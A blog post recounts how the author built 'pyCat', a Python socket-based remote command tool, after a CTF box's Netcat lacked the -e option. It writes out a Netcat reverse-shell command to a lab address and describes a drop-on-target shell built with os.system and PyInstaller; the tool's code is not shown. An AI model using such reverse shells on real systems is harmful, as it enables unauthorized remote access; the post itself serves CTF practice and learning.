PyCat – Does This Look Like Shell To You? 

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Have you ever thought, “There’s got to be a better or easier way to do this?” Maybe, you’ve thought, “This tool already exists, but if it did <THIS> then it would work so much better in my weird, edge-case scenario?”.   

It is in these moments that being able to build a tool to perform the way YOU want it to, is extremely helpful. This is the story of how I built a completely unnecessary tool I call…pyCat. 

I think we should start with why I decided to build pyCat.  

It all began when I was working on a CTF challenge box and found myself with some sweet, sweet command execution. I check to see if Netcat was installed for a quick and easy reverse shell. Good news!  

which nc

/usr/bin/nc 

Perfect! Now I’m just a command string away from reverse shell.  

I enter nc -nv 10.10.10.130 9999 -e /bin/bash and check the listener. Nothing. Well, that’s a bummer. I think I know why it didn’t work because nowadays it NEVER works (well hardly ever), so I move on to other tactics and I get my reverse shell connection. The FIRST thing I do after popping shell is to run Netcat with the -e option and my suspicions are confirmed. There is no -e option. This box is running the OpenBSD version of Netcat which has neither the -e or -c options.   

As I eluded to earlier, this is a common occurrence in CTF world, but it is very frustrating as well. Of course, my mind tells me, “Just drop another version of Netcat that supports -e !” I mean there is a stand-alone package of Netcat for Windows, so I’m sure there’s one for Linux as well. Googling. 

A SOLID 2 minutes later…  

I didn’t immediately find what I was working for, so I naturally decided to spend the next four days learning how to build what I want with Python (as you do).  

My goal was simple. Create a single file that I could drop onto a target and get shell access and command execution. Easy right?   

I began a little ahead of the game as I was already vaguely familiar with creating a TCP socket with Python from doing exploit development for the OSCP exam, but this time I needed to send/receive commands/output ad nauseam. I found a simple Python “echo client/server” and decided to this would be a good base to start with.

I copy and paste the code into client.py and server.py respectively and then test that they run. It does. I’m happy…for now.  

Now let’s get that this to accept a command and execute it on the server side. A pinch of import os, a dash of os.system(), finally a touch of input() and we have code execution. This is going a whole lot easier than I thought it would.  

 Now I could just stop here, but that wouldn’t be very fun now would it. I want the output from the server to show on the client and I want to do that over and over again until I’m done throwing commands at it. I also encountered a few strange issues like the server would lock up after the second command was issued or it would repeat the first issued command regardless of what was typed. The server also wasn’t a fan of whitespace-only input. Oh, I also learned a bit about using venv and PyInstaller to create those Windows .exe files and compiled Linux binaries.  

Long story short here I had to pick up a few new Python skills to make this happen. A big thanks to my co-worker Justin Dennison for steering me in the right direction a few times.  

  •  I learned how to send string type data over the socket connection that expects byte type data. 
  • I learned that some things don’t work as you expect them to and you need to get creative to work around them. Hence the… 
    • Functional recursion in the client 
    • Stderr redirection concatenated with the user commands 
  • I learned that it’s not 1982 and 4096 bytes does not a good buffer size make. 
  • I learned to use pyinstaller to create single executable files for Linux and Windows systems so that you don’t have to rely on Python being installed on the target for execution 

Here’s the code for the client and the server: 

pyCat_client 

pyCat_server 

Interested in training for Python? Check out this course on Python for Security that Justin Dennison and I created for ITProTV.